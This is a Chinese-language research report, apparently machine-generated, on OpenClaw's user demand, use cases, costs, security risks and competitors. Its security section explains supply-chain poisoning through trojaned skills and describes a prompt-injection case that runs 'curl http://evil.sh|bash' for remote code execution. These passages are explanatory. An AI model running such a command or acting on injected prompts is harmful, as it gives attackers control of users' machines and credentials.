一位用户@阿良的案例充分体现了技术极客的价值：他用OpenClaw替公司财务部门写了“银行回单自动下载”技能，过去3个人每天花2小时登录各家网银，现在机器人每天7:30自动跑，15分钟完成全部回单下载+命名+归档，已稳定运行3个月零差错，被财务总监一次性奖励5,000元[^104]。

### 2. 一人公司：行政、运营、财务三线并行

初创公司创始人和自由职业者是OpenClaw的重要用户群体。这类用户通常需要同时处理产品、运营、技术、行政、财务等多线程工作，时间极度碎片化。OpenClaw帮助他们将大量重复性、低价值的行政和运营工作自动化，以便聚焦核心战略和团队管理[^14]。

典型案例是一位同时负责产品、运营和部分技术工作的初创公司CEO：每天早上让OpenClaw自动拉取昨晚24小时内的新增注册、付费、退款数据，自动汇总成Markdown报告并推送到飞书群；同时自动把昨晚用户反馈的工单按优先级分类，生成待办列表同步到Notion。过去需要助理花2小时整理，现在5分钟完成，CEO只需在通勤路上手机浏览即可决策[^14]。

整个行政流程从原本的2-3天压缩到半天[^14]。这种效率提升对于资源有限的一人公司至关重要，使其能够在不增加人力成本的情况下，维持专业化的运营水平。正如用户所言：“用了OpenClaw后，我把每天重复性的报表工作完全交给它，晚上6点准时关机下班，领导还以为我加班到深夜”[^105]。

### 3. 中小企业：轻量 IT 预算下的数字员工诉求

中小企业构成了OpenClaw的另一重要用户群体，占比28%[^102]。这类用户通常IT预算有限，无法负担昂贵的商业RPA或SaaS自动化平台，但又迫切需要提升运营效率。OpenClaw的开源免费属性和灵活部署选项正好满足了这一需求。

OpenClaw通过“开源+Skill市场”解决企业定制化需求，避免被单一厂商锁定[^44]。相比闭源RPA或SaaS自动化平台，OpenClaw让用户保留完全控制权，同时社区已贡献1,200+免费Skill，覆盖财务、人力、运维、爬虫、电商等20多个垂直场景，企业可即插即用，也可基于模板快速改造[^44]。

有创业者甚至部署了10个OpenClaw智能体，组成全天候销售矩阵为其SaaS产品服务，目标是达成100万美元的年度经常性收入[^26]。这种“数字员工”模式使中小企业能够以极低的成本实现7×24小时的客户服务和销售跟进，显著提升了业务覆盖范围和响应速度。

### 4. 隐私敏感行业：金融、医疗、律所的本地化刚需

对数据隐私和合规性有极高要求的行业用户是OpenClaw的独特用户群体。金融、医疗、律所等行业处理大量敏感数据，无法将核心业务流程交由云端AI处理。OpenClaw的本地优先架构正好满足了这一刚需[^34]。

OpenClaw采用“本地优先”架构：所有Skill在本地容器内运行，敏感数据无需上传云端，既满足GDPR/国密等合规要求，也打消了企业“把核心流程交给云端AI”的顾虑[^44]。这种数据完全掌控的特性让开发者和隐私极客们趋之若鹜[^92]。

在实际应用中，这类用户通常会部署高度定制化的技能组合。例如，律师事务所可能使用OpenClaw自动审阅合同、提取关键条款、生成法律意见书草稿；医疗机构可能用其自动处理患者预约、整理病历、生成统计报告；金融机构则可能用其监控市场数据、生成投资研报、自动执行交易信号。所有这些操作都在本地完成，确保敏感数据不离开组织边界。

## 三、场景拆解：30+ 验证用例的效率杠杆

### 1. 办公自动化六大高频任务

OpenClaw在办公自动化领域展现出强大的实用性，主要覆盖六大高频任务：文档整理、数据统计、邮件分类、会议纪要、合同审阅、报销填报[^64]。这些任务虽然看似简单，但累积起来消耗大量工作时间。

在文档整理方面，用户只需对OpenClaw说：“帮我把下载文件夹里所有后缀是.jpg的旅游照片，找出来，然后在新文件夹‘欧洲之旅’里，按‘国家-城市-景点’的格式重新命名”，几秒后任务即可完成[^35]。实测显示，OpenClaw能自动对3800余个桌面文件进行MIME类型识别与语义聚类，按“合同-发票-日报-设计稿”四分类自动移入对应文件夹，同时生成Markdown周报，整个过程10分17秒完成，比手动整理平均耗时58分钟节省约83%[^30]。

邮件处理方面，OpenClaw能自动分类、过滤垃圾邮件，甚至根据用户语气生成回复草稿，重要邮件及时提醒[^49]。跨应用数据抓取与汇报自动化更是展现了其强大能力：用户说“去XX网站，登录我的账号，把过去一个月的销售数据下载下来，做成PPT，然后发邮件给老板”，OpenClaw会自动打开浏览器、模拟点击、登录、下载、调用本地Office软件或Python脚本、最后打开邮件客户端，一气呵成[^35]。

### 2. DevOps 巡检与 PR 堆积缓解

对于开发者而言，OpenClaw提供了强大的DevOps支持。远程服务器巡检是企业运维的基础需求，传统人工巡检存在效率低、易遗漏、无法实时响应的问题[^15]。通过OpenClaw巡检技能，可以实现7×24小时不间断的服务器监控。

具体应用场景包括：程序员对OpenClaw说：“我的网站服务好像挂了，登录我的Linux服务器，查看Nginx日志，把最近50行报错提取出来，发到我Slack”，OpenClaw会SSH登录、执行grep、回传结果，全程无需人工干预[^35]。在外排队吃饭时，工作群突然报警服务挂了，以前得赶紧找咖啡厅Wi-Fi登录跳板机，现在只需在Telegram打三个字“重启nginx”，OpenClaw本地执行后回执截图，全程15秒[^98]。

针对研发人员最头疼的PR管理问题，OpenClaw提供了“PR Radar”技能：监控被阻塞/过期的拉取请求，并生成优先级排序的操作队列。对于多团队协作的研发项目来说，PR堆积、过期是常态，人工监控不仅耗时，还容易遗漏关键PR，导致项目延期。PR Radar能自动监控所有拉取请求，识别出被阻塞、过期的内容，按照紧急程度排序，生成可直接执行的操作队列[^48]。

### 3. 自媒体热点捕捉与多平台分发

自媒体运营者是OpenClaw的重度用户群体之一。OpenClaw能实现自动登录、智能创作、精美配图、定时发布全流程，从热点追踪到爆款生成，AI自动完成账号冷启动、品牌宣发、热点借势等运营场景，一个人就能干一个团队的活儿，7×24小时不间断内容生产[^19]。

实测案例显示：当天10:35微博出现“高考分数线”热搜，OpenClaw的“HotSpotSkill”10:37抓取到3个相关话题热度曲线，调用“TitleGenSkill”生成20个带emoji的爆款标题，再调用“CanvaSkill”批量合成9:16封面图，最后通过“MultiPubSkill”一次性分发到微信公众号、知乎、B站动态；10:52全部平台显示“发布成功”，其中微信公众号3小时阅读量1.2万，知乎回答2小时冲上热榜第18位[^30]。追热点全流程从原来2小时缩短到17分钟，效率提升7倍[^30]。

另一位用户@阿离靠“小红书爆款标题生成+自动发布”技能运营3个账号，30天涨粉2.3万[^101]。该技能调用OpenClaw内置的Qwen3-VL-30B多模态模型，先根据输入关键词生成20条带Emoji的爆款标题，再自动调用小红书开放API完成图文发布，单条耗时40秒，发布成功率98%[^101]。

### 4. 量化交易信号生成与风险控制

OpenClaw在金融领域的应用同样引人注目。阿里云开发者社区详细拆解了OpenClaw的四大核心交易场景实战、风险控制体系及经典策略组合，即使无技术基础也能在1小时内完成从部署到实战的全流程[^13]。

具体应用场景包括：根据股票代码自动生成研报并邮件推送，该技能日调用量达0.9万次，是技能使用量Top 3之一[^101]。OpenClaw能自动监控市场数据、分析技术指标、生成交易信号，并在满足条件时自动执行交易指令。企业营销场景中，OpenClaw让营销从“经验驱动”转向“数据驱动”：技能包自动关联历史数据，确保内容精准匹配用户画像[^29]。

实测某快消客户双11大促，系统圈出270万“高潜复购”人群，自动匹配140套差异化推送素材，最终转化率比人工经验组提升42%，ROI提升28%[^29]。这种数据驱动的精准营销能力，使企业能够以更低的成本获得更高的营销效果。

### 5. 智能家居与边缘 IoT 联动

OpenClaw的应用场景甚至延伸到了智能家居和边缘IoT领域。用户@小卡分享道：“最惊喜的是语音唤醒，我在厨房做饭，直接喊‘小爪，把烤箱调到200度’，电脑端的OpenClaw通过Home Assistant接口把指令发到烤箱，全程不用擦手碰手机”[^105]。

另一位用户@小西则将OpenClaw部署在实验室的NVIDIA Jetson Orin上，通过GPIO连接传感器，当温度>28℃时自动开启空调并发送飞书提醒，实现“边缘AI+IoT”低成本落地，整套硬件成本不到1,500元[^104]。这种边缘计算能力使OpenClaw能够处理实时传感器数据，并做出相应的自动化响应。

用户对离线功能的需求也日益增长，评论区热门需求前三名分别是“离线地图”“离线翻译”“离线OCR”，均指向“无网也能用”的离线场景[^105]。这表明OpenClaw正在从单纯的办公自动化工具，向全方位的个人AI操作系统演进，能够处理从数字世界到物理世界的各种任务。

<ChartVue
    title="OpenClaw 五大场景效率提升幅度（单位：%）"
    type="bar"
    :data="{
      labels: ['任务场景'],
      datasets: [
        {label: '邮件处理', data: [75], backgroundColor: 'rgba(221, 153, 133, 1)'},
        {label: '周报撰写', data: [94], backgroundColor: 'rgba(224, 169, 109, 1)'},
        {label: '自媒体内容生产', data: [83], backgroundColor: 'rgba(195, 131, 109, 1)'},
        {label: '量化策略研发', data: [92], backgroundColor: 'rgba(186, 149, 146, 1)'},
        {label: '发票分类与Excel填表', data: [90], backgroundColor: 'rgba(198, 169, 143, 1)'}
      ]
    }"
/>
如图所示，OpenClaw在五大典型场景中均实现了75%以上的效率提升，其中周报撰写场景效率提升最高，达到94%[^43]。

## 四、需求强度量化：时间、成本、Token 三维指标

### 1. 单任务耗时压缩率：75–94% 区间验证

OpenClaw的效率提升效果在多个维度得到了量化验证。综合多篇实测报告显示，在典型场景下，OpenClaw能实现75-94%的时间节省[^43]。邮件处理从日均1小时缩短到15分钟，节省75%；周报撰写从3小时变为自动生成，节省比例超过94%；自媒体内容生产从2-3小时/篇减少到30分钟/篇，节省约83%；量化策略研发从2周压缩到4小时，节省92%；发票分类与Excel填表从1小时降至6分钟，节省90%[^43]。

然而，这种效率提升的普适性受限于任务标准化程度、企业IT开放接口及个人技术调试能力。对于高度非标、需要人工创意或审批流复杂的任务，节省幅度会降至10-30%[^43]。这表明OpenClaw最适合处理流程化、重复性的任务，而对于需要高度创造性或复杂决策的任务，其价值相对有限。

社区仓库awesome-openclaw-usecases收录的34个用例进一步验证了这一趋势：平均部署时间22分钟，平均代码量217行，平均节省人力2.1 FTE/年[^32]。这些经过验证的真实用例覆盖了从社交媒体运营、知识管理、家庭自动化到企业级DevOps的完整光谱，为潜在用户提供了可靠的参考基准。

### 2. 人力节省：平均 2.1 FTE/年/技能

OpenClaw的人力节省效果不仅体现在时间维度，更体现在实际的人力成本节约上。社区数据显示，34个验证用例平均节省人力2.1 FTE/年[^32]。这意味着每个有效部署的技能平均能够替代2个全职员工的部分工作量。

对于个人用户而言，这种节省主要体现在生活质量的提升：每周可节省15-25小时，相当于每天多出2-3小时的自由时间[^43]。对于企业用户，这种节省则直接转化为经济效益。以平均年薪10万元计算，2.1 FTE/年的节省相当于每年节约21万元的人力成本，而OpenClaw的部署成本（硬件+电费+维护）通常远低于这一数字。

初创公司创始人的案例尤为典型：过去需要助理花2小时整理的数据报告，现在5分钟完成，相当于节省了0.03 FTE[^14]。虽然单个技能的节省看起来不大，但当多个技能组合使用时，累积效应十分显著。一个完整的OpenClaw工作流通常包含5-10个技能，总节省可达0.15-0.3 FTE，这对于资源有限的初创公司具有重要意义。

### 3. Token 成本曲线与 QMD 记忆优化对比

尽管OpenClaw带来了显著的效率提升，但其Token消耗成本一直是用户关注的焦点。OpenClaw被称为“token吞金兽”：一次完整任务链动辄消耗上万token，按OpenAI官方价需0.2-0.3美元[^46]。更严重的是，一位开发者配置的“心跳检查”功能因默认配置问题，每次心跳都把整个上下文（约12万token）完整发给API，一夜之间烧掉18.75美元，一周闲置成本可达250美元[^56]。

为解决这一问题，OpenClaw从2026.2.2版本开始内置了QMD（Quantum Memory Database）记忆后端，这是Shopify联合创始人兼CEO Tobias Lütke开发的本地语义搜索引擎[^58]。QMD的核心思路是：不要把整个文件塞给AI，而是先用本地搜索找到最相关的片段（通常只有2-3句话），再把这些精准内容传给AI。实际使用数据显示，QMD可将Token削减60-97%，平均削减95%[^58]。

团队还通过接入中国开源大模型Qwen-72B，把同等任务链成本从0.2-0.3美元压到0.02美元，降幅90%，用户次日留存率随即从38%飙到71%[^46]。此外，用户还可以通过“收费模型调教+免费模型执行”的组合玩法实现“Token自由”：先用收费模型打磨成熟任务流程并生成本地脚本，再把脚本交给免费模型去批量执行[^54]。

<ChartVue
    title="OpenClaw 用户使用目的分布（%）"
    type="pie"
    :data="{
      labels: ['办公自动化', '学习AI技术', '二次开发盈利'],
      datasets: [{
        label: '占比',
        data: [62, 21, 12],
        backgroundColor: ['rgba(122, 151, 171, 1)', 'rgba(224, 169, 109, 1)', 'rgba(195, 131, 109, 1)']
      }]
    }"
/>
如图所示，国内社区调研显示用户使用目的前三名分别为“自动化办公”（62%）、“学习AI技术”（21%）、“二次开发盈利”（12%）[^102]。

## 五、需求落差：高门槛劝退与安全噩梦

### 1. 部署复杂度：命令行、依赖、权限三重关卡

尽管OpenClaw功能强大，但其部署复杂度成为劝退普通用户的主要障碍。目前，OpenClaw并未提供类似“一键安装”的简化部署方案，用户需要在电脑上通过命令行操作，完成本地配置、依赖管理以及权限设置，整个过程对使用者的技术背景有一定要求，至少需要具备基本的命令行知识[^36]。

官方最低配置“16 GB内存+8 GB显存”只是“能跑起来”，想要流畅运行复杂任务，32 GB内存+12 GB显存起步，RTX 3060级别显卡只是及格线；若启用多模态或语音交互，显存占用瞬间飙到10 GB以上[^99]。网络环境方面，首次下载完整模型包≈18 GB，后续每次技能市场安装插件平均再拉取数百MB依赖；若身处国内无代理，下载速度可低至100 KB/s，一次完整部署耗时6-8小时并不罕见[^99]。

国内社区调研显示，在“最易踩坑环节”多选题中，73%的用户选择“首次模型下载太慢”，54%选择“权限配置复杂”，38%选择“中文文档缺失”，29%选择“插件冲突”[^102]。这些数据清晰地反映了普通用户面临的实际困难。

<ChartVue
    title="OpenClaw 用户最易踩坑环节占比（%）"
    type="bar"
    :data="{
      labels: ['踩坑环节'],
      datasets: [
        {label: '首次模型下载太慢', data: [73], backgroundColor: 'rgba(221, 153, 133, 1)'},
        {label: '权限配置复杂', data: [54], backgroundColor: 'rgba(224, 169, 109, 1)'},
        {label: '中文文档缺失', data: [38], backgroundColor: 'rgba(195, 131, 109, 1)'},
        {label: '插件冲突', data: [29], backgroundColor: 'rgba(186, 149, 146, 1)'}
      ]
    }"
/>
如图所示，用户最易踩坑的环节中，“首次模型下载太慢”占比最高，达73%[^102]。

### 2. CVE 曝光与供应链投毒案例

OpenClaw的安全风险是另一个重大劝退因素。国家网络安全通报中心（NCSTI）于2026年2月13日发布《关于开源智能体OpenClaw安全风险的提示》，指出其“本地优先”架构虽强调数据不出户，但默认开启的“Skills市场”存在供应链投毒风险：攻击者可上传含恶意代码的技能包，一旦用户安装，即可在本地主机获得与OpenClaw服务同等权限，实现文件窃取、摄像头调用、内网横向移动等操作[^103]。

通报披露，截至2026年2月，已发现17个携带木马后门的技能包，累计被安装3.2万次，涉及我国IP约1.8万个[^103]。思科AI威胁研究主管曾指出，从安全角度看，OpenClaw“是一场噩梦”，因为它默认授予技能几乎等同于本地用户的系统级权限，而技能市场缺乏代码审计与签名验证[^63]。

已披露的CVE-2026-25253漏洞可致远程代码执行，CVSS评分9.8[^30]。在macOS 13环境安装“DevSkill”后，OpenClaw读取~/.ssh/config与~/.aws/credentials，根据用户一句指令自动生成可执行脚本，并调用/usr/bin/code打开VS Code调试；脚本内直接嵌入AWS Access Key ID与Secret，且被赋予0755权限。安全团队随后验证，因OpenClaw的“命令执行”技能未做沙箱隔离，攻击者可通过恶意prompt注入“curl http://evil.sh|bash”完成远程代码执行[^30]。

### 3. 隐性成本：显卡折旧、电费、VPN、心跳账单

除了显性的硬件和部署成本，OpenClaw还存在多项隐性成本。虽然代码开源免费，但稳定运行需自备VPN、云存储、甚至独立公网IP（远程唤醒场景），加上电费、显卡折旧，一年综合成本轻松超过直接订阅商业AI助手[^99]。

Token消耗成本更是难以预测。OpenClaw的“省钱属性”本质上是把“固定订阅费”变成了“按需付费”，但结果因人而异[^55]。个人用户如果只是处理简单任务（如整理文件、写文案），用Ollama跑本地模型，几乎可以做到零成本使用；中小团队通过智能路由搭配缓存策略，成本可以比传统SaaS订阅节省30-50%；但大型团队或高频调用场景，由于OpenClaw的自主性会带来不可预见的Token消耗，若缺乏精细监控，总成本可能反而高于传统订阅制[^55]。

一位开发者的心跳检查配置失误导致一夜烧掉18.75美元的案例，充分说明了这种隐性成本的危险性[^56]。随着OpenClaw的自主性越强，其内部行为的不可见性就越突出。心跳检查、上下文累积、多步推理…这些看似“静默”的动作，都在悄悄推高账单[^56]。

## 六、竞争映射：OpenClaw vs ZeroClaw vs 国产平替

### 1. 资源占用：1 GB → 30 MB 的极致轻量化

面对OpenClaw的高资源占用问题，ZeroClaw作为后起之秀提供了极致轻量化的解决方案。OpenClaw基于Node.js/TypeScript生态，虽然功能丰富，但依赖链长、镜像体积大，在1C1G的云主机上常因内存不足崩溃；ZeroClaw用Rust重写后，单可执行文件仅11 MB，无运行时依赖，内存占用稳定在30 MB以内[^78]。

性能对比数据显示：OpenClaw需要npm install拉取487个依赖包，镜像体积1.8 GB，冷启动内存峰值420 MB；ZeroClaw单可执行文件11 MB，零依赖，冷启动内存峰值28 MB，QPS从220提升到810，长尾延迟P99由1.2 s降至180 ms[^81]。Rust的零成本抽象与Tokio异步运行时让ZeroClaw在保持兼容OpenClaw原有REST API的前提下，用5%的体积和7%的内存完成了3.7倍的吞吐量[^81]。

这种极致轻量化使ZeroClaw在资源敏感场景下具有明显优势。OpenClaw占1G内存，ZeroClaw仅需5MB，本地AI终于不用堆硬件了[^66]。对于树莓派等边缘设备或低配云主机用户，ZeroClaw提供了可行的替代方案。

### 2. 安全设计：默认沙箱 vs 系统级权限

安全设计是两者的核心差异。OpenClaw默认依赖Node.js生态，需用户自行配置.env中的JWT_SECRET、数据库密钥与12项中间件权限，稍有遗漏就会暴露3000端口的调试接口[^78]。而ZeroClaw将安全策略编译进二进制，默认关闭调试端口，内置基于Ed25519的零信任令牌，首次启动时自动生成32字节随机密钥并写入只读内存区域，重启即失效，避免密钥泄漏[^78]。

ZeroClaw还提供单文件ACL策略模板，用户只需在可执行文件同目录放置acl.yaml即可强制所有API先通过RBAC校验，无需再安装额外权限插件，真正做到了“安全默认”[^78]。相比之下，OpenClaw在2026.2.23版本才开始强化安全防护，新增可选HTTP安全标头，默认启用TLS 1.3，强化本地存储加密，并修复了本地权限提升漏洞[^85]。

OpenClaw维护团队在安全通报发布后48小时内发布了《安全加固路线图》，承诺在下一个minor版本（v2026.2.x）中默认启用“沙箱模式”，所有技能运行在Firecracker微VM中，限制syscall与网络访问，并引入类似Android的权限声明机制，敏感操作需用户二次确认[^103]。

### 3. 生态成熟度：插件数量与社区响应速度

尽管ZeroClaw在性能和安全方面具有优势，但OpenClaw的生态成熟度仍然领先。OpenClaw拥有庞大的开发者社区，遇到问题能快速找到解决方案，插件、教程也非常丰富；而ZeroClaw生态尚处早期，插件数量与社区问答覆盖度暂时落后，对“即装即用、丰富扩展”需求的支持暂不如OpenClaw[^68]。

OpenClaw GitHub星标已突破18.6万，Fork数超过3.2万[^14]，社区仓库awesome-openclaw-usecases Star数18.4k，Fork数2.9k，累计187位贡献者，覆盖21个国家与地区[^32]。技能市场已上线超过3000个第三方技能，其中Star>100的高赞技能集中在“办公自动化、数据抓取、社交媒体运营、本地生活、开发辅助”五大场景[^101]。

<ChartVue
    title="OpenClaw 社区 GitHub 热度对比（单位：次）"
    type="bar"
    :data="{
      labels: ['仓库'],
      datasets: [
        {label: 'GitHub Star 数', data: [186000], backgroundColor: 'rgba(122, 151, 171, 1)'},
        {label: 'GitHub Fork 数', data: [32000], backgroundColor: 'rgba(155, 179, 153, 1)'},
        {label: 'awesome-openclaw-usecases Star', data: [18400], backgroundColor: 'rgba(141, 143, 126, 1)'},
        {label: 'awesome-openclaw-usecases Fork', data: [2900], backgroundColor: 'rgba(172, 163, 172, 1)'}
      ]
    }"
/>
如图所示，OpenClaw主仓库GitHub Star数达18.6万，Fork数3.2万，社区仓库awesome-openclaw-usecases Star数1.84万，Fork数2900[^14][^32]。

国产平替方案则采取了不同的策略。Molili（茉莉）主打“极简安装”与“开箱即用”，没有复杂的技能市场，而是专注于打通国内生态—微信、钉钉、飞书[^61]。元气AlBot专注于飞书与钉钉的深度集成，深耕企业协同场景，把“单点痛点”做到极致[^61]。这些方案虽然功能不如OpenClaw全面，但在特定场景下提供了更好的用户体验。

## 七、需求演进：2026 下半年待满足的 5 大缺口

### 1. 离线多模态：视频理解与离线地图

用户对离线功能的需求日益增长。评论区热门需求前三名分别是“离线地图”“离线翻译”“离线OCR”，均指向“无网也能用”的离线场景[^105]。然而，当前OpenClaw在视频理解能力上存在明显缺陷[^65]，无法处理视频内容，这限制了其在多媒体场景中的应用。

离线地图需求尤其突出，用户希望“出差时在没网的环境下也能让OpenClaw帮我导航”[^105]。这反映了用户对真正独立、不受网络限制的AI助手的渴望。未来版本需要集成轻量级离线多模态模型，支持视频理解、离线地图、离线翻译等核心功能，使OpenClaw能够在完全离线的环境中提供基本服务。

### 2. 超级 App 壁垒：微信、抖音封闭生态破解

中国的互联网生态与海外截然不同，这为OpenClaw这类试图“全平台操作”的第三方Agent设置了天然屏障[^74]。超级App生态壁垒：国内互联网由微信、抖音、钉钉、飞书等“超级App”主导，它们构建了严密的生态闭环和数据壁垒。腾讯、阿里巴巴等巨头不会允许一个第三方Agent随意跨平台调用用户数据与操作权限[^74]。

Google对OpenClaw付费用户进行“连夜封号”式封禁，显示巨头平台对第三方Agent的“零容忍”态度，与OpenClaw宣称的“全平台畅通”需求承诺直接冲突[^76]。这种平台壁垒使得OpenClaw在中国市场的功能完整性大打折扣，用户无法像在海外那样无缝集成各种服务。

国产平替方案正是看到了这一痛点，转而专注于打通国内生态。Molili（茉莉）专注于微信、钉钉、飞书的集成；元气AlBot深耕飞书与钉钉的企业协同场景[^61]。这种本土化适配策略虽然牺牲了通用性，但在特定市场获得了更好的用户体验。

### 3. 企业级审计：权限分级与合规日志

目前市面上大多数案例都停留在个人效率场景，而企业采购需要看到同行的成功案例，目前OpenClaw则缺乏这些行业最佳实践和可复制的部署方案，尤其缺少量化的业务/效率提升数据[^23]。岗位级Agent需要大量配置成本，每个岗位要不同的权限、不同的workspace、不同的Agent角色定义和Skills配置，不是点点鼠标就能搞定的[^23]。

企业级部署需要完善的权限分级、审计日志、合规报告等功能。OpenClaw需要提供企业级管理控制台，支持多租户、角色权限管理、操作审计、数据隔离等企业级特性。同时，还需要提供标准化的部署方案和成功案例，帮助企业用户评估投资回报率。

### 4. 一键商用模板：行业 SaaS 化打包

普通用户面临“工具在手，不知何用”的困境[^31]。虽然OpenClaw提供了强大的技能市场，但用户仍需自行判断安装哪些技能才能满足需求，否则基础版功能有限[^42]。用户真正需要的不是“乐高积木”，而是一把已经装好、按下开关就能扫地的“吸尘器”[^87]。

解决方案是提供行业SaaS化打包的一键商用模板。针对不同行业（如电商、金融、教育、医疗）和不同角色（如运营、财务、HR、开发者），预配置完整的技能组合和工作流模板。用户只需选择对应的模板，输入必要的配置参数，即可立即获得针对特定场景的完整解决方案。

阿里云已经在这方面做出了尝试，提供OpenClaw一键部署镜像，用户无需熟悉Docker、Python或Linux命令，即可在3分钟内完成从0到1的上线运行[^72]。官方还推荐“先装2-3个官方认证技能”降低新手门槛[^84]，这种渐进式引导策略值得推广。

### 5. AI Native 硬件：Agent 专用算力终端

硬件层面的创新也在孕育新的机会。有人已经在做为Agent设计的AI Native硬件，专为Agent提供本地算力与多模态接口，解决云侧Agent的延迟与隐私痛点[^77]。这种Agent专用硬件将提供优化的算力分配、专用的多模态接口、增强的安全特性，为OpenClaw等AI Agent提供理想的运行环境。

Mac mini成为热门部署选择的原因主要有三个：一是支持7×24小时不间断运行且功耗低；二是在Apple生态中可以方便地集成；三是相对较低的硬件成本[^22]。未来可能会出现更多专门为AI Agent优化的硬件设备，提供更好的性能功耗比和更完善的安全特性。

## 八、总结

OpenClaw作为2026年现象级的开源AI智能体，真实需求呈现出明显的两极分化特征。一方面，其“本地优先、强执行能力、高可扩展”的核心特性确实解决了从个人效率到企业落地的六大核心痛点：AI从对话到动手的代际断层、云端依赖与数据主权冲突、重复性数字劳动的成本压力、技术极客的自动化信仰、一人公司的多线程运营困境，以及隐私敏感行业的合规刚需。30+个验证用例证明了其在办公自动化、DevOps、自媒体运营、量化交易、智能家居等场景中的显著效率提升，单任务耗时压缩率达75-94%，平均每个技能可节省2.1 FTE/年的人力成本。

另一方面，高门槛劝退与安全风险构成了严峻的现实挑战。部署复杂度、CVE漏洞曝光、供应链投毒风险、隐性成本（显卡折旧、电费、VPN、心跳账单）等因素使得OpenClaw对非技术用户极不友好，形成了“有条件可达”的使用现状。竞争格局也因此分化：ZeroClaw以Rust重构实现极致轻量化和安全默认，国产平替聚焦本土生态打通，各自在不同细分市场找到了突破口。

展望2026年下半年，OpenClaw的真实需求将向五个方向演进：离线多模态能力（视频理解、离线地图）、超级App生态壁垒破解、企业级审计与合规、行业SaaS化一键模板、AI Native专用硬件。这些需求缺口既是挑战也是机遇，将决定OpenClaw能否从极客玩具真正成长为大众生产力工具。用户真正渴求的不是一个只在春节出现的数字年俗，而是一个365天都能解决实际痛点的智能伙伴[^89]，这正是OpenClaw需要持续证明的价值所在。



path: reports/zeelin-research-status.json
content: session_id: 77e1e0277e4c4fc99d501aadc4d67923
query: openclaw实际的需求有哪些
status: 2
progress: 完成: /home/xtyunweiljms/.openclaw/workspace/skills/zeelin-deep-research/reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md
last_check: 2026-03-04T14:04:00.010744

path: reports/zeelin-last-notified.json
content: session_id: 77e1e0277e4c4fc99d501aadc4d67923
query: openclaw实际的需求有哪些

Security scan verdicts — ClawScan: suspicious | static analysis: clean | VirusTotal: clean | SkillSpector: suspicious (CRITICAL)